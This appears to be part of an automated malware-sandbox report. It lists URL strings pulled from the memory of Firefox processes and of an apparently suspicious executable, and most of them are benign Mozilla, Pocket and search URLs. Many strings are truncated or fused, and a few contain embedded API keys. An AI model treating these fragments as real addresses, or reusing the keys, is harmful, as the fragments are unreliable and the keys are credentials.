Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsTre
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40138F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 0000001C.00000002.2751785855.000001F400274000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001C.00000002.2767550763.000001F401A5E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2221855699.000001F3FEF63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2494349340.000001F4004D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2754098270.000001F4004BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/
Source: cda9e1cbbc.exe, 00000013.00000003.2300685242.0000000022D68000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFB.19.dr, Web Data.31.dr, KKKJKEBK.19.dr String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: cda9e1cbbc.exe, 00000013.00000003.2300685242.0000000022D68000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFB.19.dr, Web Data.31.dr, KKKJKEBK.19.dr String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: cda9e1cbbc.exe, 00000013.00000003.2300685242.0000000022D68000.00000004.00000020.00020000.00000000.sdmp, KJDGDBFB.19.dr, Web Data.31.dr, KKKJKEBK.19.dr String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2629382433.000001F3FB27D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEB89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2233253153.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2365854701.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231723906.000001F3FCF22000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2722826214.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2324432364.000001F3FCF12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2475890033.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2359351126.000001F3FCF35000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2345760153.000001F3FCF39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2231077539.000001F3FCF33000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%sMust
Source: firefox.exe, 0000001C.00000002.2760366167.000001F40137E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2435548375.000001F40138E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F40138F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2281091035.000001F40139D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001C.00000002.2742498029.000001F3FF6C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/initMouseEvent()
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B45F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001C.00000002.2742328962.000001F3FF690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760366167.000001F401303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsgetEl
Source: firefox.exe, 0000001C.00000002.2771088874.000001F401DB3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com
Source: firefox.exe, 0000001C.00000002.2733884773.000001F3FEBA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/ms-language-packs/records/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsgetEl
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2742790289.000001F3FF74E000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/monitor/collections/changes/changeset?colle
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://firefox.settings.services.mozilla.com/v1AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5DovoFailed
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF58F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2706357168.000001F3FC45A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2735797926.000001F3FED79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B45F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B412000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4CF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4CF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB6E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B42F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B45F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4CF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC421000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morediscoverystream.personalization.enabled
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recommended-by-learn-more
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2612092313.000001F3FADBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4CF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001C.00000002.2758788296.000001F40118B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2517349923.000001F401189000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2518185756.000001F401195000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001C.00000002.2758788296.000001F40118B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2517349923.000001F401189000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2518185756.000001F401195000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001C.00000003.2227751133.000001F3FEF75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2220456983.000001F3FEF4A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2218571898.000001F3FED00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2221855699.000001F3FEF63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219997763.000001F3FEF32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2219728703.000001F3FEF1A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB672000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/mozilla-services/screenshotsshims/microsoftVirtualAssistant.jsshims/private-brows
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com
Source: firefox.exe, 0000001C.00000002.2642592159.000001F3FB5AB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://google.com/
Source: firefox.exe, 0000001C.00000002.2747208323.000001F3FFAE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://gpuweb.github.io/gpuweb/browser.newtab.feature-tour
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001C.00000002.2593833756.000001F3EF503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001C.00000002.2660622672.000001F3FB603000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881jar:file
Source: firefox.exe, 0000001C.00000002.2733714551.000001F3FEA70000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ib.absa.co.za/
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD909000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://identity.mozilla.com/apps/oldsyncS
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD909000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://identity.mozilla.com/cmd/H
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD909000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://identity.mozilla.com/cmd/HCX
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD909000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryU
Source: firefox.exe, 0000001C.00000002.2733365636.000001F3FD909000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryUFj
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2608969227.000001F3FACB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745834814.000001F3FF9E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.2542025432.0000020BC86C9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B4F5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001C.00000002.2706357168.000001F3FC404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2767550763.000001F401A32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2536102355.0000021F9B481000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001C.00000003.2518185756.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2758788296.000001F401199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2515727535.000001F40119D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 0000001C.00000002.2616025180.000001F3FB090000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.2559168727.0000020BC8720000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556719841.0000021F9B530000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001C.00000002.2755324438.000001F400ED7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2755324438.000001F400E38000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://json-schema.org/draft/2019-09/schema
